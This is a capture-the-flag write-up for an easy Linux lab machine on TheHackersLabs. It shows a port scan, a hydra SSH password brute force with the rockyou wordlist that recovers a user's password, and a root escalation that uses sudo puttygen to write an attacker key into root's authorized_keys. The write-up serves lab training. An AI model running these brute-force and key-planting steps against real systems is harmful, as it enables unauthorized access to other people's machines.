TheHackersLabs — https://thehackerslabs.com/
- Platform: TheHackersLabs
- OS: Linux
- Difficulty: Easy
Enumeration
Scan
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 9c:e0:78:67:d7:63:23:da:f5:e3:8a:77:00:60:6e:76 (ECDSA)
|_ 256 4b:30:12:97:4b:5c:47:11:3c:aa:0b:68:0e:b2:01:1b (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Apache2 Debian Default Page: It works
SSH (22)
Passwordbased authentication
ssh root@192.168.66.176
The authenticity of host '192.168.66.176 (192.168.66.176)' can't be established.
ED25519 key fingerprint is: SHA256:AQriN/tRYOEaFyAyEecHnEyZfJTHLRILd1G2j74ViR8
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.66.176' (ED25519) to the list of known hosts.
root@192.168.66.176's password: `
HTTP (80)
- Plain site.
Apache2 Debian Default Page - A hint in the last line of the HTML code
curl 192.168.66.176 &> /dev/null | tail -1
// Cambia la contraseña de ssh por favor melanie
Username
- melanie
Exploitation
SSH Password attack
- Command
hydra -l melanie -P /usr/share/wordlists/rockyou.txt 192.168.66.176 ssh -V
- Output
[22][ssh] host: 192.168.66.176 login: melanie password: trustno1
Melanie credentials
melanie:trustno1
SSH Access (melanie)
❯ ssh melanie@192.168.66.176
[...]
melanie@grillo:~$ id
uid=1000(melanie) gid=1000(concebolla) grupos=1000(concebolla),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
Post-Exploitation
SUDO permissions (melanie)
melanie@grillo:~$ sudo -l
Matching Defaults entries for melanie on grillo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User melanie may run the following commands on grillo:
(root) NOPASSWD: /usr/bin/puttygen
Privesc to root (puttygen)
melanican runputtygenasroot(no password required)
Generate a private-openssh key
- As
melaniewe run:
puttygen -t rsa -b 2048 -O private-openssh -o id_rsa
Generate a public key from the private key
- We need to run
puttygenasroot(withsudo) to be able to store the output in:
sudo puttygen id_rsa -O public-openssh -o /root/.ssh/authorized_keys
Copy the id_rsa to the attacker machine
- Copy the
id_rsato the attacker machine
Root access
- We can use the
id_rsato get root access
❯ ssh -i ssh_key root@192.168.66.176
Linux grillo 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Apr 21 11:35:18 2024 from 192.168.0.100
root@grillo:~# id
uid=0(root) gid=0(root) grupos=0(root)